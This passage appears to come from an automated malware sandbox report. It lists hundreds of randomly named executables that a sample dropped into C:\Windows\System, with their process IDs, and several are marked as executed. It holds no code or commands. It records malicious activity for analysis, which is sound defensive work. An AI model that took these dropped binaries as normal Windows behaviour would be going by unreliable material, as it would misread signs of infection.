- C:\Windows\System\vszbFSf.exe
  C:\Windows\System\vszbFSf.exe
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Windows\System\APGxvsq.exe
  C:\Windows\System\APGxvsq.exe
  2⤵
  - Executes dropped EXE
  PID:2000
- C:\Windows\System\SLabvsf.exe
  C:\Windows\System\SLabvsf.exe
  2⤵
  - Executes dropped EXE
  PID:3468
- C:\Windows\System\KvjVpRM.exe
  C:\Windows\System\KvjVpRM.exe
  2⤵
  - Executes dropped EXE
  PID:404
- C:\Windows\System\pSEfYbn.exe
  C:\Windows\System\pSEfYbn.exe
  2⤵
  - Executes dropped EXE
  PID:392
- C:\Windows\System\tXBNijx.exe
  C:\Windows\System\tXBNijx.exe
  2⤵
  - Executes dropped EXE
  PID:4924
- C:\Windows\System\FMTMaNC.exe
  C:\Windows\System\FMTMaNC.exe
  2⤵
  - Executes dropped EXE
  PID:4676
- C:\Windows\System\IlCDrOV.exe
  C:\Windows\System\IlCDrOV.exe
  2⤵
  - Executes dropped EXE
  PID:2236
- C:\Windows\System\OEWnrjN.exe
  C:\Windows\System\OEWnrjN.exe
  2⤵
  - Executes dropped EXE
  PID:1100
- C:\Windows\System\DYDHtTz.exe
  C:\Windows\System\DYDHtTz.exe
  2⤵
  - Executes dropped EXE
  PID:1004
- C:\Windows\System\tqUaYPG.exe
  C:\Windows\System\tqUaYPG.exe
  2⤵
  - Executes dropped EXE
  PID:3440
- C:\Windows\System\DxLzlRs.exe
  C:\Windows\System\DxLzlRs.exe
  2⤵
  - Executes dropped EXE
  PID:4612
- C:\Windows\System\fbvBgjF.exe
  C:\Windows\System\fbvBgjF.exe
  2⤵
  - Executes dropped EXE
  PID:516
- C:\Windows\System\JyVNBuw.exe
  C:\Windows\System\JyVNBuw.exe
  2⤵
  - Executes dropped EXE
  PID:1572
- C:\Windows\System\YMhReWP.exe
  C:\Windows\System\YMhReWP.exe
  2⤵
  - Executes dropped EXE
  PID:3116
- C:\Windows\System\LDXkhsh.exe
  C:\Windows\System\LDXkhsh.exe
  2⤵
  - Executes dropped EXE
  PID:760
- C:\Windows\System\TZxLZxE.exe
  C:\Windows\System\TZxLZxE.exe
  2⤵
  - Executes dropped EXE
  PID:3956
- C:\Windows\System\BDUKYgV.exe
  C:\Windows\System\BDUKYgV.exe
  2⤵
  - Executes dropped EXE
  PID:5148
- C:\Windows\System\IpNkZdm.exe
  C:\Windows\System\IpNkZdm.exe
  2⤵
  - Executes dropped EXE
  PID:5176
- C:\Windows\System\hZHiOBr.exe
  C:\Windows\System\hZHiOBr.exe
  2⤵
  - Executes dropped EXE
  PID:5204
- C:\Windows\System\MdJdQdT.exe
  C:\Windows\System\MdJdQdT.exe
  2⤵
  - Executes dropped EXE
  PID:5236
- C:\Windows\System\RRZknaG.exe
  C:\Windows\System\RRZknaG.exe
  2⤵
  - Executes dropped EXE
  PID:5264
- C:\Windows\System\mvjkIma.exe
  C:\Windows\System\mvjkIma.exe
  2⤵
  - Executes dropped EXE
  PID:5288
- C:\Windows\System\ReZxDnb.exe
  C:\Windows\System\ReZxDnb.exe
  2⤵
  - Executes dropped EXE
  PID:5316
- C:\Windows\System\DDFiYmZ.exe
  C:\Windows\System\DDFiYmZ.exe
  2⤵
  - Executes dropped EXE
  PID:5344
- C:\Windows\System\nyAGyte.exe
  C:\Windows\System\nyAGyte.exe
  2⤵
  - Executes dropped EXE
  PID:5368
- C:\Windows\System\umsQWee.exe
  C:\Windows\System\umsQWee.exe
  2⤵
  PID:5396
- C:\Windows\System\SAAaJbo.exe
  C:\Windows\System\SAAaJbo.exe
  2⤵
  PID:5424
- C:\Windows\System\sVycneB.exe
  C:\Windows\System\sVycneB.exe
  2⤵
  PID:5456
- C:\Windows\System\pDFznAc.exe
  C:\Windows\System\pDFznAc.exe
  2⤵
  PID:5480
- C:\Windows\System\OinyIFM.exe
  C:\Windows\System\OinyIFM.exe
  2⤵
  PID:5512
- C:\Windows\System\ocHUvtP.exe
  C:\Windows\System\ocHUvtP.exe
  2⤵
  PID:5536
- C:\Windows\System\XJxrWQs.exe
  C:\Windows\System\XJxrWQs.exe
  2⤵
  PID:5564
- C:\Windows\System\viTdJCZ.exe
  C:\Windows\System\viTdJCZ.exe
  2⤵
  PID:5596
- C:\Windows\System\EKcdFED.exe
  C:\Windows\System\EKcdFED.exe
  2⤵
  PID:5624
- C:\Windows\System\ajVLVFz.exe
  C:\Windows\System\ajVLVFz.exe
  2⤵
  PID:5652
- C:\Windows\System\HMnUqeE.exe
  C:\Windows\System\HMnUqeE.exe
  2⤵
  PID:5680
- C:\Windows\System\IFtGehK.exe
  C:\Windows\System\IFtGehK.exe
  2⤵
  PID:5708
- C:\Windows\System\GvefOMY.exe
  C:\Windows\System\GvefOMY.exe
  2⤵
  PID:5736
- C:\Windows\System\zOIfyVy.exe
  C:\Windows\System\zOIfyVy.exe
  2⤵
  PID:5764
- C:\Windows\System\SxzWoUI.exe
  C:\Windows\System\SxzWoUI.exe
  2⤵
  PID:5792
- C:\Windows\System\diaRpoi.exe
  C:\Windows\System\diaRpoi.exe
  2⤵
  PID:5820
- C:\Windows\System\HWtqxAp.exe
  C:\Windows\System\HWtqxAp.exe
  2⤵
  PID:5848
- C:\Windows\System\WyrBUMT.exe
  C:\Windows\System\WyrBUMT.exe
  2⤵
  PID:5876
- C:\Windows\System\zyTjmow.exe
  C:\Windows\System\zyTjmow.exe
  2⤵
  PID:5904
- C:\Windows\System\tSidwwW.exe
  C:\Windows\System\tSidwwW.exe
  2⤵
  PID:5932
- C:\Windows\System\mRznXZy.exe
  C:\Windows\System\mRznXZy.exe
  2⤵
  PID:5960
- C:\Windows\System\zbxKwOZ.exe
  C:\Windows\System\zbxKwOZ.exe
  2⤵
  PID:5988
- C:\Windows\System\UsJwFlO.exe
  C:\Windows\System\UsJwFlO.exe
  2⤵
  PID:6016
- C:\Windows\System\srJzCFQ.exe
  C:\Windows\System\srJzCFQ.exe
  2⤵
  PID:6040
- C:\Windows\System\ycfxAKh.exe
  C:\Windows\System\ycfxAKh.exe
  2⤵
  PID:6068
- C:\Windows\System\OtJxVul.exe
  C:\Windows\System\OtJxVul.exe
  2⤵
  PID:6100
- C:\Windows\System\TsXHJIa.exe
  C:\Windows\System\TsXHJIa.exe
  2⤵
  PID:6124
- C:\Windows\System\oHxAgZC.exe
  C:\Windows\System\oHxAgZC.exe
  2⤵
  PID:3036
- C:\Windows\System\upfgnlw.exe
  C:\Windows\System\upfgnlw.exe
  2⤵
  PID:1964
- C:\Windows\System\ORZXaYy.exe
  C:\Windows\System\ORZXaYy.exe
  2⤵
  PID:1936
- C:\Windows\System\RXoBUyh.exe
  C:\Windows\System\RXoBUyh.exe
  2⤵
  PID:4268
- C:\Windows\System\jVrnesZ.exe
  C:\Windows\System\jVrnesZ.exe
  2⤵
  PID:1496
- C:\Windows\System\eODEuXS.exe
  C:\Windows\System\eODEuXS.exe
  2⤵
  PID:5140
- C:\Windows\System\YdWCdHZ.exe
  C:\Windows\System\YdWCdHZ.exe
  2⤵
  PID:5216
- C:\Windows\System\YLikJTA.exe
  C:\Windows\System\YLikJTA.exe
  2⤵
  PID:5280
- C:\Windows\System\dwkbdpe.exe
  C:\Windows\System\dwkbdpe.exe
  2⤵
  PID:5336
- C:\Windows\System\Ldaclub.exe
  C:\Windows\System\Ldaclub.exe
  2⤵
  PID:5412
- C:\Windows\System\HIPeFLe.exe
  C:\Windows\System\HIPeFLe.exe
  2⤵
  PID:5468
- C:\Windows\System\BGiBkJz.exe
  C:\Windows\System\BGiBkJz.exe
  2⤵
  PID:5528
- C:\Windows\System\URkDeuo.exe
  C:\Windows\System\URkDeuo.exe
  2⤵
  PID:5584
- C:\Windows\System\HXrSGtv.exe
  C:\Windows\System\HXrSGtv.exe
  2⤵
  PID:5644
- C:\Windows\System\CtflXEM.exe
  C:\Windows\System\CtflXEM.exe
  2⤵
  PID:5720
- C:\Windows\System\yWAHxZh.exe
  C:\Windows\System\yWAHxZh.exe
  2⤵
  PID:5776
- C:\Windows\System\eFdIEPI.exe
  C:\Windows\System\eFdIEPI.exe
  2⤵
  PID:5840
- C:\Windows\System\NWwpOBg.exe
  C:\Windows\System\NWwpOBg.exe
  2⤵
  PID:5892
- C:\Windows\System\gUAghtI.exe
  C:\Windows\System\gUAghtI.exe
  2⤵
  PID:5972
- C:\Windows\System\pTBLRYd.exe
  C:\Windows\System\pTBLRYd.exe
  2⤵
  PID:6028
- C:\Windows\System\mRMfLns.exe
  C:\Windows\System\mRMfLns.exe
  2⤵
  PID:4436
- C:\Windows\System\HsQMVzE.exe
  C:\Windows\System\HsQMVzE.exe
  2⤵
  PID:1408
- C:\Windows\System\hVIQyvp.exe
  C:\Windows\System\hVIQyvp.exe
  2⤵
  PID:744
- C:\Windows\System\oabXXku.exe
  C:\Windows\System\oabXXku.exe
  2⤵
  PID:1768
- C:\Windows\System\qVeUvFI.exe
  C:\Windows\System\qVeUvFI.exe
  2⤵
  PID:5256
- C:\Windows\System\rzgdKer.exe
  C:\Windows\System\rzgdKer.exe
  2⤵
  PID:868
- C:\Windows\System\ZRxtfaX.exe
  C:\Windows\System\ZRxtfaX.exe
  2⤵
  PID:5504
- C:\Windows\System\qhayYWM.exe
  C:\Windows\System\qhayYWM.exe
  2⤵
  PID:5636
- C:\Windows\System\VbJwZgl.exe
  C:\Windows\System\VbJwZgl.exe
  2⤵
  PID:5808
- C:\Windows\System\jDIkYVX.exe
  C:\Windows\System\jDIkYVX.exe
  2⤵
  PID:4364
- C:\Windows\System\NlQXTXm.exe
  C:\Windows\System\NlQXTXm.exe
  2⤵
  PID:2492
- C:\Windows\System\OkBepmv.exe
  C:\Windows\System\OkBepmv.exe
  2⤵
  PID:5032
- C:\Windows\System\wtHIJNu.exe
  C:\Windows\System\wtHIJNu.exe
  2⤵
  PID:6168
- C:\Windows\System\ibYxBLq.exe
  C:\Windows\System\ibYxBLq.exe
  2⤵
  PID:6200
- C:\Windows\System\jXhXeEL.exe
  C:\Windows\System\jXhXeEL.exe
  2⤵
  PID:6224
- C:\Windows\System\ozSzKjw.exe
  C:\Windows\System\ozSzKjw.exe
  2⤵
  PID:6256
- C:\Windows\System\csPCurQ.exe
  C:\Windows\System\csPCurQ.exe
  2⤵
  PID:6280
- C:\Windows\System\uuTAMJe.exe
  C:\Windows\System\uuTAMJe.exe
  2⤵
  PID:6312
- C:\Windows\System\BzLdWZC.exe
  C:\Windows\System\BzLdWZC.exe
  2⤵
  PID:6336
- C:\Windows\System\hFWzchM.exe
  C:\Windows\System\hFWzchM.exe
  2⤵
  PID:6364
- C:\Windows\System\CkfCxvM.exe
  C:\Windows\System\CkfCxvM.exe
  2⤵
  PID:6392
- C:\Windows\System\xDjkior.exe
  C:\Windows\System\xDjkior.exe
  2⤵
  PID:6424
- C:\Windows\System\VFMzyCf.exe
  C:\Windows\System\VFMzyCf.exe
  2⤵
  PID:6452
- C:\Windows\System\SlSOfSg.exe
  C:\Windows\System\SlSOfSg.exe
  2⤵
  PID:6480
- C:\Windows\System\QFGeJRa.exe
  C:\Windows\System\QFGeJRa.exe
  2⤵
  PID:6508
- C:\Windows\System\TQUUTkm.exe
  C:\Windows\System\TQUUTkm.exe
  2⤵
  PID:6536
- C:\Windows\System\NzwzLZY.exe
  C:\Windows\System\NzwzLZY.exe
  2⤵
  PID:6564
- C:\Windows\System\mfmZAwS.exe
  C:\Windows\System\mfmZAwS.exe
  2⤵
  PID:6588
- C:\Windows\System\TsrhbYA.exe
  C:\Windows\System\TsrhbYA.exe
  2⤵
  PID:6620
- C:\Windows\System\nSNGECd.exe
  C:\Windows\System\nSNGECd.exe
  2⤵
  PID:6648
- C:\Windows\System\uTkwLGl.exe
  C:\Windows\System\uTkwLGl.exe
  2⤵
  PID:6676
- C:\Windows\System\qzTyvJu.exe
  C:\Windows\System\qzTyvJu.exe
  2⤵
  PID:6700
- C:\Windows\System\vaqTApk.exe
  C:\Windows\System\vaqTApk.exe
  2⤵
  PID:6728
- C:\Windows\System\FzRbPog.exe
  C:\Windows\System\FzRbPog.exe
  2⤵
  PID:6756
- C:\Windows\System\dCmJsIb.exe
  C:\Windows\System\dCmJsIb.exe
  2⤵
  PID:6788
- C:\Windows\System\KVZwjXH.exe
  C:\Windows\System\KVZwjXH.exe
  2⤵
  PID:6816
- C:\Windows\System\ZWTHfnH.exe
  C:\Windows\System\ZWTHfnH.exe
  2⤵
  PID:6840
- C:\Windows\System\vaKhmhi.exe
  C:\Windows\System\vaKhmhi.exe
  2⤵
  PID:6868
- C:\Windows\System\VhvVCkh.exe
  C:\Windows\System\VhvVCkh.exe
  2⤵
  PID:6896
- C:\Windows\System\CuQUrRy.exe
  C:\Windows\System\CuQUrRy.exe
  2⤵
  PID:6928
- C:\Windows\System\gLcclTk.exe
  C:\Windows\System\gLcclTk.exe
  2⤵
  PID:6956
- C:\Windows\System\DUpJToO.exe
  C:\Windows\System\DUpJToO.exe
  2⤵
  PID:6980
- C:\Windows\System\CEwgSoV.exe
  C:\Windows\System\CEwgSoV.exe
  2⤵
  PID:7008
- C:\Windows\System\ARzielr.exe
  C:\Windows\System\ARzielr.exe
  2⤵
  PID:7036
- C:\Windows\System\aQuVNeS.exe
  C:\Windows\System\aQuVNeS.exe
  2⤵
  PID:7068
- C:\Windows\System\KOtkPgL.exe
  C:\Windows\System\KOtkPgL.exe
  2⤵
  PID:7096
- C:\Windows\System\vYohngF.exe
  C:\Windows\System\vYohngF.exe
  2⤵
  PID:7124
- C:\Windows\System\KDpMXJa.exe
  C:\Windows\System\KDpMXJa.exe
  2⤵
  PID:7152
- C:\Windows\System\PORAGVQ.exe
  C:\Windows\System\PORAGVQ.exe
  2⤵
  PID:5188
- C:\Windows\System\PibrBXI.exe
  C:\Windows\System\PibrBXI.exe
  2⤵
  PID:5448
- C:\Windows\System\VZjYkft.exe
  C:\Windows\System\VZjYkft.exe
  2⤵
  PID:5752
- C:\Windows\System\pAwloUa.exe
  C:\Windows\System\pAwloUa.exe
  2⤵
  PID:6004
- C:\Windows\System\vkWgAmo.exe
  C:\Windows\System\vkWgAmo.exe
  2⤵
  PID:5056
- C:\Windows\System\lxeXQFf.exe
  C:\Windows\System\lxeXQFf.exe
  2⤵
  PID:6216
- C:\Windows\System\IRJjVxH.exe
  C:\Windows\System\IRJjVxH.exe
  2⤵
  PID:6272
- C:\Windows\System\ePekoKa.exe
  C:\Windows\System\ePekoKa.exe
  2⤵
  PID:6328
- C:\Windows\System\VQwzkTI.exe
  C:\Windows\System\VQwzkTI.exe
  2⤵
  PID:1312
- C:\Windows\System\MmROPpV.exe
  C:\Windows\System\MmROPpV.exe
  2⤵
  PID:6436
- C:\Windows\System\YIFLpYC.exe
  C:\Windows\System\YIFLpYC.exe
  2⤵
  PID:6496
- C:\Windows\System\NIHmuXX.exe
  C:\Windows\System\NIHmuXX.exe
  2⤵
  PID:6556
- C:\Windows\System\AihQQtL.exe
  C:\Windows\System\AihQQtL.exe
  2⤵
  PID:6608
- C:\Windows\System\nvEUaQL.exe
  C:\Windows\System\nvEUaQL.exe
  2⤵
  PID:6664
- C:\Windows\System\FTeBNRu.exe
  C:\Windows\System\FTeBNRu.exe
  2⤵
  PID:6716
- C:\Windows\System\lCGRWyL.exe
  C:\Windows\System\lCGRWyL.exe
  2⤵
  PID:6776
- C:\Windows\System\ngfOKou.exe
  C:\Windows\System\ngfOKou.exe
  2⤵
  PID:6828
- C:\Windows\System\dxBLMwV.exe
  C:\Windows\System\dxBLMwV.exe
  2⤵
  PID:6888
- C:\Windows\System\RiNrcgk.exe
  C:\Windows\System\RiNrcgk.exe
  2⤵
  PID:6944
- C:\Windows\System\MLvHGpA.exe
  C:\Windows\System\MLvHGpA.exe
  2⤵
  PID:6976
- C:\Windows\System\fwEnYRD.exe
  C:\Windows\System\fwEnYRD.exe
  2⤵
  PID:7052
- C:\Windows\System\wzfIlak.exe
  C:\Windows\System\wzfIlak.exe
  2⤵
  PID:7112
- C:\Windows\System\USbfeJw.exe
  C:\Windows\System\USbfeJw.exe
  2⤵
  PID:220
- C:\Windows\System\GIUOVBk.exe
  C:\Windows\System\GIUOVBk.exe
  2⤵
  PID:5612
- C:\Windows\System\KgpdSbP.exe
  C:\Windows\System\KgpdSbP.exe
  2⤵
  PID:6140
- C:\Windows\System\ioxtanG.exe
  C:\Windows\System\ioxtanG.exe
  2⤵
  PID:6244
- C:\Windows\System\wiDfcRH.exe
  C:\Windows\System\wiDfcRH.exe
  2⤵
  PID:6380
- C:\Windows\System\tEFiZPt.exe
  C:\Windows\System\tEFiZPt.exe
  2⤵
  PID:6468
- C:\Windows\System\AouRhtB.exe
  C:\Windows\System\AouRhtB.exe
  2⤵
  PID:6552
- C:\Windows\System\TkfhfMA.exe
  C:\Windows\System\TkfhfMA.exe
  2⤵
  PID:6660
- C:\Windows\System\SEeVfre.exe
  C:\Windows\System\SEeVfre.exe
  2⤵
  PID:6772
- C:\Windows\System\VfAsuTb.exe
  C:\Windows\System\VfAsuTb.exe
  2⤵
  PID:6860
- C:\Windows\System\QDRtqQo.exe
  C:\Windows\System\QDRtqQo.exe
  2⤵
  PID:1624
- C:\Windows\System\HCLRJNo.exe
  C:\Windows\System\HCLRJNo.exe
  2⤵
  PID:5384
- C:\Windows\System\nXhzneF.exe
  C:\Windows\System\nXhzneF.exe
  2⤵
  PID:6324
- C:\Windows\System\kHxEJvl.exe
  C:\Windows\System\kHxEJvl.exe
  2⤵
  PID:6412
- C:\Windows\System\oAKiZxq.exe
  C:\Windows\System\oAKiZxq.exe
  2⤵
  PID:1924
- C:\Windows\System\ameZxKH.exe
  C:\Windows\System\ameZxKH.exe
  2⤵
  PID:316
- C:\Windows\System\rFuHrJq.exe
  C:\Windows\System\rFuHrJq.exe
  2⤵
  PID:1384
- C:\Windows\System\mkVlLhW.exe
  C:\Windows\System\mkVlLhW.exe
  2⤵
  PID:4800
- C:\Windows\System\baodOYw.exe
  C:\Windows\System\baodOYw.exe
  2⤵
  PID:384
- C:\Windows\System\apccHaR.exe
  C:\Windows\System\apccHaR.exe
  2⤵
  PID:5112
- C:\Windows\System\aRiadsq.exe
  C:\Windows\System\aRiadsq.exe
  2⤵
  PID:2408
- C:\Windows\System\YUNJhed.exe
  C:\Windows\System\YUNJhed.exe
  2⤵
  PID:4900
- C:\Windows\System\HrqtCVa.exe
  C:\Windows\System\HrqtCVa.exe
  2⤵
  PID:4836
- C:\Windows\System\CnSodPr.exe
  C:\Windows\System\CnSodPr.exe
  2⤵
  PID:4888
- C:\Windows\System\NsCeHCL.exe
  C:\Windows\System\NsCeHCL.exe
  2⤵
  PID:4404
- C:\Windows\System\GebRJQS.exe
  C:\Windows\System\GebRJQS.exe
  2⤵
  PID:4240
- C:\Windows\System\fbJLfBC.exe
  C:\Windows\System\fbJLfBC.exe
  2⤵
  PID:6752
- C:\Windows\System\HsXVjeH.exe
  C:\Windows\System\HsXVjeH.exe
  2⤵
  PID:3012
- C:\Windows\System\eQIjvbY.exe
  C:\Windows\System\eQIjvbY.exe
  2⤵
  PID:4668
- C:\Windows\System\uWiwApc.exe
  C:\Windows\System\uWiwApc.exe
  2⤵
  PID:7084
- C:\Windows\System\yRStVUQ.exe
  C:\Windows\System\yRStVUQ.exe
  2⤵
  PID:1288
- C:\Windows\System\fmQpGgA.exe
  C:\Windows\System\fmQpGgA.exe
  2⤵
  PID:3932
- C:\Windows\System\IOulSQE.exe
  C:\Windows\System\IOulSQE.exe
  2⤵
  PID:6856
- C:\Windows\System\fzRsraS.exe
  C:\Windows\System\fzRsraS.exe
  2⤵
  PID:1960
- C:\Windows\System\PNRhYIw.exe
  C:\Windows\System\PNRhYIw.exe
  2⤵
  PID:4856
- C:\Windows\System\cLAHXFh.exe
  C:\Windows\System\cLAHXFh.exe
  2⤵
  PID:4740
- C:\Windows\System\kAbUTeO.exe
  C:\Windows\System\kAbUTeO.exe
  2⤵
  PID:2184
- C:\Windows\System\iQGHCKR.exe
  C:\Windows\System\iQGHCKR.exe
  2⤵
  PID:5108
- C:\Windows\System\DMjOJFF.exe
  C:\Windows\System\DMjOJFF.exe
  2⤵
  PID:4912
- C:\Windows\System\pBKvjrH.exe
  C:\Windows\System\pBKvjrH.exe
  2⤵
  PID:2936
- C:\Windows\System\knoTrVk.exe
  C:\Windows\System\knoTrVk.exe
  2⤵
  PID:7024
- C:\Windows\System\zzDUrhy.exe
  C:\Windows\System\zzDUrhy.exe
  2⤵
  PID:3124
- C:\Windows\System\qkjcOPA.exe
  C:\Windows\System\qkjcOPA.exe
  2⤵
  PID:6188
- C:\Windows\System\ImMPbYQ.exe
  C:\Windows\System\ImMPbYQ.exe
  2⤵
  PID:6492
- C:\Windows\System\kmrqXmD.exe
  C:\Windows\System\kmrqXmD.exe
  2⤵
  PID:3420
- C:\Windows\System\tyxyrkZ.exe
  C:\Windows\System\tyxyrkZ.exe
  2⤵
  PID:1308
- C:\Windows\System\pImyNgw.exe
  C:\Windows\System\pImyNgw.exe
  2⤵
  PID:2832
- C:\Windows\System\hvlpKkE.exe
  C:\Windows\System\hvlpKkE.exe
  2⤵
  PID:1524
- C:\Windows\System\iRTZrJQ.exe
  C:\Windows\System\iRTZrJQ.exe
  2⤵
  PID:1712
- C:\Windows\System\YgjrDsY.exe
  C:\Windows\System\YgjrDsY.exe
  2⤵
  PID:3916
- C:\Windows\System\JuIOLoY.exe
  C:\Windows\System\JuIOLoY.exe
  2⤵
  PID:7172
- C:\Windows\System\ZtZSzVj.exe
  C:\Windows\System\ZtZSzVj.exe
  2⤵
  PID:7200
- C:\Windows\System\QMvLnrY.exe
  C:\Windows\System\QMvLnrY.exe
  2⤵
  PID:7232
- C:\Windows\System\GTYmABy.exe
  C:\Windows\System\GTYmABy.exe
  2⤵
  PID:7292
- C:\Windows\System\RaXlOgs.exe
  C:\Windows\System\RaXlOgs.exe
  2⤵
  PID:7316
- C:\Windows\System\vcvhCDD.exe
  C:\Windows\System\vcvhCDD.exe
  2⤵
  PID:7332
- C:\Windows\System\mCqOcLn.exe
  C:\Windows\System\mCqOcLn.exe
  2⤵
  PID:7348
- C:\Windows\System\JUnDwpt.exe
  C:\Windows\System\JUnDwpt.exe
  2⤵
  PID:7364
- C:\Windows\System\CEyUyct.exe
  C:\Windows\System\CEyUyct.exe
  2⤵
  PID:7384
- C:\Windows\System\jqTPiXF.exe
  C:\Windows\System\jqTPiXF.exe
  2⤵
  PID:7404
- C:\Windows\System\ksRNlRs.exe
  C:\Windows\System\ksRNlRs.exe
  2⤵
  PID:7424
- C:\Windows\System\VlNeGNY.exe
  C:\Windows\System\VlNeGNY.exe
  2⤵
  PID:7452
- C:\Windows\System\cPXweCe.exe
  C:\Windows\System\cPXweCe.exe
  2⤵
  PID:7488
- C:\Windows\System\aCsyxha.exe
  C:\Windows\System\aCsyxha.exe
  2⤵
  PID:7540
- C:\Windows\System\LcTprud.exe
  C:\Windows\System\LcTprud.exe
  2⤵
  PID:7564
- C:\Windows\System\SHTyxdz.exe
  C:\Windows\System\SHTyxdz.exe
  2⤵
  PID:7588
- C:\Windows\System\mDsQniO.exe
  C:\Windows\System\mDsQniO.exe
  2⤵
  PID:7648
- C:\Windows\System\Fpnyaqt.exe
  C:\Windows\System\Fpnyaqt.exe
  2⤵
  PID:7700
- C:\Windows\System\FRdpGXJ.exe
  C:\Windows\System\FRdpGXJ.exe
  2⤵
  PID:7732
- C:\Windows\System\reXlKnQ.exe
  C:\Windows\System\reXlKnQ.exe
  2⤵
  PID:7752
- C:\Windows\System\waeTwbc.exe
  C:\Windows\System\waeTwbc.exe
  2⤵
  PID:7776
- C:\Windows\System\zXyLBJG.exe
  C:\Windows\System\zXyLBJG.exe
  2⤵
  PID:7800
- C:\Windows\System\ttYAWnI.exe
  C:\Windows\System\ttYAWnI.exe
  2⤵
  PID:7820
- C:\Windows\System\emGiIQo.exe
  C:\Windows\System\emGiIQo.exe
  2⤵
  PID:7864
- C:\Windows\System\BEPOadg.exe
  C:\Windows\System\BEPOadg.exe
  2⤵
  PID:7884
- C:\Windows\System\sKhjgoG.exe
  C:\Windows\System\sKhjgoG.exe
  2⤵
  PID:7920
- C:\Windows\System\TVbwRDB.exe
  C:\Windows\System\TVbwRDB.exe
  2⤵
  PID:7944
- C:\Windows\System\BiDTjCz.exe
  C:\Windows\System\BiDTjCz.exe
  2⤵
  PID:7964
- C:\Windows\System\SYvynEg.exe
  C:\Windows\System\SYvynEg.exe
  2⤵
  PID:8008
- C:\Windows\System\dvpsgth.exe
  C:\Windows\System\dvpsgth.exe
  2⤵
  PID:8048
- C:\Windows\System\tNtDOxN.exe
  C:\Windows\System\tNtDOxN.exe
  2⤵
  PID:8072
- C:\Windows\System\yzYoBGg.exe
  C:\Windows\System\yzYoBGg.exe
  2⤵
  PID:8108
- C:\Windows\System\sshkbXc.exe
  C:\Windows\System\sshkbXc.exe
  2⤵
  PID:8128
- C:\Windows\System\lGyJWOK.exe
  C:\Windows\System\lGyJWOK.exe
  2⤵
  PID:8152
- C:\Windows\System\iJnMjzd.exe
  C:\Windows\System\iJnMjzd.exe
  2⤵
  PID:8176
- C:\Windows\System\ICCHrTJ.exe
  C:\Windows\System\ICCHrTJ.exe
  2⤵
  PID:1932
- C:\Windows\System\mpfOrfz.exe
  C:\Windows\System\mpfOrfz.exe
  2⤵
  PID:7356
- C:\Windows\System\TOfxfLt.exe
  C:\Windows\System\TOfxfLt.exe
  2⤵
  PID:7340
- C:\Windows\System\MsUIsSQ.exe
  C:\Windows\System\MsUIsSQ.exe
  2⤵
  PID:7396
- C:\Windows\System\msJywIV.exe
  C:\Windows\System\msJywIV.exe
  2⤵
  PID:7512
- C:\Windows\System\VGTxiJW.exe
  C:\Windows\System\VGTxiJW.exe
  2⤵
  PID:7552
- C:\Windows\System\pBSnBmE.exe
  C:\Windows\System\pBSnBmE.exe
  2⤵
  PID:7664
- C:\Windows\System\uzGZGaX.exe
  C:\Windows\System\uzGZGaX.exe
  2⤵
  PID:7748
- C:\Windows\System\dBaKOPe.exe
  C:\Windows\System\dBaKOPe.exe
  2⤵
  PID:7772
- C:\Windows\System\TXqXMzQ.exe
  C:\Windows\System\TXqXMzQ.exe
  2⤵
  PID:7880
- C:\Windows\System\NvloykC.exe
  C:\Windows\System\NvloykC.exe
  2⤵
  PID:7844
- C:\Windows\System\rTjVxKu.exe
  C:\Windows\System\rTjVxKu.exe
  2⤵
  PID:7984
- C:\Windows\System\lQTJJGw.exe
  C:\Windows\System\lQTJJGw.exe
  2⤵
  PID:7960
- C:\Windows\System\vlqLHce.exe
  C:\Windows\System\vlqLHce.exe
  2⤵
  PID:8056
- C:\Windows\System\NegEyzz.exe
  C:\Windows\System\NegEyzz.exe
  2⤵
  PID:8068
- C:\Windows\System\YqtIUYQ.exe
  C:\Windows\System\YqtIUYQ.exe
  2⤵
  PID:8124
- C:\Windows\System\TFUjTbx.exe
  C:\Windows\System\TFUjTbx.exe
  2⤵
  PID:5092
- C:\Windows\System\xFGcPaz.exe
  C:\Windows\System\xFGcPaz.exe
  2⤵
  PID:7556
- C:\Windows\System\iNvRnuY.exe
  C:\Windows\System\iNvRnuY.exe
  2⤵
  PID:7740
- C:\Windows\System\tZcixhW.exe
  C:\Windows\System\tZcixhW.exe
  2⤵
  PID:7792
- C:\Windows\System\MeyEWjh.exe
  C:\Windows\System\MeyEWjh.exe
  2⤵
  PID:7940
- C:\Windows\System\iXcmCLt.exe
  C:\Windows\System\iXcmCLt.exe
  2⤵
  PID:7956
- C:\Windows\System\BluXrPr.exe
  C:\Windows\System\BluXrPr.exe
  2⤵
  PID:7328
- C:\Windows\System\ZdqWbdt.exe
  C:\Windows\System\ZdqWbdt.exe
  2⤵
  PID:7480
- C:\Windows\System\jrEtPsy.exe
  C:\Windows\System\jrEtPsy.exe
  2⤵
  PID:8196
- C:\Windows\System\frXlwYQ.exe
  C:\Windows\System\frXlwYQ.exe
  2⤵
  PID:8224
- C:\Windows\System\fOvSxuC.exe
  C:\Windows\System\fOvSxuC.exe
  2⤵
  PID:8280
- C:\Windows\System\UtHwriw.exe
  C:\Windows\System\UtHwriw.exe
  2⤵
  PID:8304
- C:\Windows\System\OBlDgwt.exe
  C:\Windows\System\OBlDgwt.exe
  2⤵
  PID:8336
- C:\Windows\System\gNeziVK.exe
  C:\Windows\System\gNeziVK.exe
  2⤵
  PID:8356
- C:\Windows\System\akVsQYx.exe
  C:\Windows\System\akVsQYx.exe
  2⤵
  PID:8400
- C:\Windows\System\vDIudJE.exe
  C:\Windows\System\vDIudJE.exe
  2⤵
  PID:8420
- C:\Windows\System\psduiGb.exe
  C:\Windows\System\psduiGb.exe
  2⤵
  PID:8448
- C:\Windows\System\PHySytF.exe
  C:\Windows\System\PHySytF.exe
  2⤵
  PID:8464
- C:\Windows\System\ugVtOhJ.exe
  C:\Windows\System\ugVtOhJ.exe
  2⤵
  PID:8492
- C:\Windows\System\DorpUfE.exe
  C:\Windows\System\DorpUfE.exe
  2⤵
  PID:8536
- C:\Windows\System\NWiSEOO.exe
  C:\Windows\System\NWiSEOO.exe
  2⤵
  PID:8556
- C:\Windows\System\TWQkJkx.exe
  C:\Windows\System\TWQkJkx.exe
  2⤵
  PID:8576
- C:\Windows\System\FuaLNHs.exe
  C:\Windows\System\FuaLNHs.exe
  2⤵
  PID:8612
- C:\Windows\System\UwEuriF.exe
  C:\Windows\System\UwEuriF.exe
  2⤵
  PID:8632
- C:\Windows\System\FcvMhBQ.exe
  C:\Windows\System\FcvMhBQ.exe
  2⤵
  PID:8656
- C:\Windows\System\BqDJfOr.exe
  C:\Windows\System\BqDJfOr.exe
  2⤵
  PID:8672
- C:\Windows\System\nCJKBYN.exe
